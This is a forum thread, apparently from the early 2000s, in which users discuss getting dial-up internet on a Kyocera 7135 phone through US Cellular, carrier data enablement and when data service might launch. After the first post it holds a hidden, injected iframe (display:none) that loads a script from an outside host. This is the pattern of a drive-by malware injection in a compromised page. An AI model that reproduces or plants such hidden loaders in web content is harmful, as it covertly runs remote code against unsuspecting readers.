I know that United States Cellular does not provide data services, and I'm Ok with that (for now). They do however have the Kyocera 7135 in stock.

After a lengthy call to the USCC customer service department (they are one of my cell providers), I finally gave up on what seems like a simple request. I want to use one of my existing servers to provide standard, dial up IP service for use with my phone. This works with several other carriers, as long as I modify the server's network settings to permit it.

As far as I know, this is a zero cost, nearly hassle free way for them to sell me extra air time. Did I miss something somewhere?

-PatP<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

My understanding is that Chicago has or will soon have the latest CDMA data service from US Cellular. Of course, you may not be in that particular area of the state.

Would love to read anything you post about US Cellular.

Interested in learning more about your experience with other carriers and a server setup. Good luck!

I talked to a US Cellular sales rep over the phone and he said they wont have internet access for about 6 months.

I would like to do the same thing as you PatP, but I dont have my phone yet so I cant try it.

Is there anyone who has done this successfully yet?
(set up a dial-up server, dial into it using the 7135 independently of a computer, access internet)


b.t.w. Pat - you got PM

Back when I had my 6035 w/ Sprint, I would dial into my ISP. It was as simple as setting up the phone number, login, password, etc. in the network settings. Since long distance is free with most plans, this works well on the road too. (I didn't realize for a while that sprint actually acted as an ISP) I am using my 7135 on Verizon w/ EN and now Q2N, but I thougt this idea might help.

TomC -

Yes, thats exactly what I was hoping to be able to do, but based on PatP's post, this isnt possible with the 7135 and USCC ??

It just makes no sense to me why it wouldnt work on USCC but Im getting my phone sometime this week so I guess I'll find out.

Not sure if I misread the posts, but the CDMA provider does have to give you the data feature to use IS95 data (14.4k dialup internet) thru your phone, even if you're using your own ISP. I don't think there's any way to do it if they haven't enabled data services.

When they enable the data is that just to enable accessing their connection? (I.e. #777 on verizon) I was assuming that the phone would act as a modem without anything but voice service. I'm not implying that this is the case, just trying to understand what "enabling data/IS95" means.

Ok, far as i know, you can have (not mutually exclusive):

plain voice CDMA
CDMA voice with 14.4k data
CDMA 1x (3G data)

You can only dial up to your own ISP if the provider gives you 14.4k data with your service. Dialing an ISP thru a cell phone isn't as straightforward as dialing over a land line. Data service has to be enabled to transmit bits.

Remember, that something has to broadcast the modem tones to the destination modem.

That something is the cellphone tower. That's what's connected to the POTS network. (POTS = Plain Old Telephone Service)

If the towers can't do it, no amount of programming on your phone will enable it.

There are two ways to set up a data connection over Cellular, both require special hardware in the tower:

ISP connection:
(Phone) -> (Tower speaks "modem" over phone line) -> (ISP Modem)-> Internet

#777 connection:
(Phone) -> (Tower speaks "data" to network connection) -> Internet

In the first case, the tower has to grok "modem". In the second case, it has to be able to get to the internet somehow. I believe most towers are administered via the internet in some way (I'm not sure) so the connection should be there.

Now, I don't work for Sprint, Verizon, or any other telco any more, and my knowledge of cellular equipment is spotty at best. However, I believe the guy who told me this stuff, so I would assume it's mostly correct.

__________________
--apg

"Invention, my dear friends, is ninety-three percent perspiration, six percent electricity, four percent evaporation, and two percent butterscotch ripple." --W. Wonka

Yes, the carrier must enable either your ESN (effectively your handset), or ALL of the ESNs using their switch for data services. There is a setting in the SS7 preamble that allows a phone that supports data services to use those services. An interesting item to note is that this limitation only applies to initiating a data call, once the call has been placed, you can carry it to another tower (switch) without any further negotiation.

A 14.4 kb CDMA data signal uses about 50% more bandwidth than an average voice call. In areas where available bandwidth is seriously constrained (particularly airports and convention centers), the switch won't allow you to place a data call, although it HAS to support a call in progress.

It is possible to dial a true audio connection via a cell phone, but very few phones are equipped to do it, and I don't know of any cell phone that can actually use an audio (analog POTS grade) carrier to reach an ISP. Even if they could, you couldn't exceed 9600 baud due to the bandwidth limitations of cell phone audio because the sampling rate won't support adaptive quadrature needed to go beyond the 9600 baud ceiling.

-PatP

so all in all there is NO way to get internet access with US Cellular service??

if this is true, does anyone know if they are planning to offer it sometime in the near future?

USCC plans to offer data services this fall. I'm pretty sure that it won't be before August 1. I'm nearly certain that it won't be after December 1. I expect it to be sometime between Labor Day and Halloween, but I haven't gotten any USCC employee to confirm that.

-PatP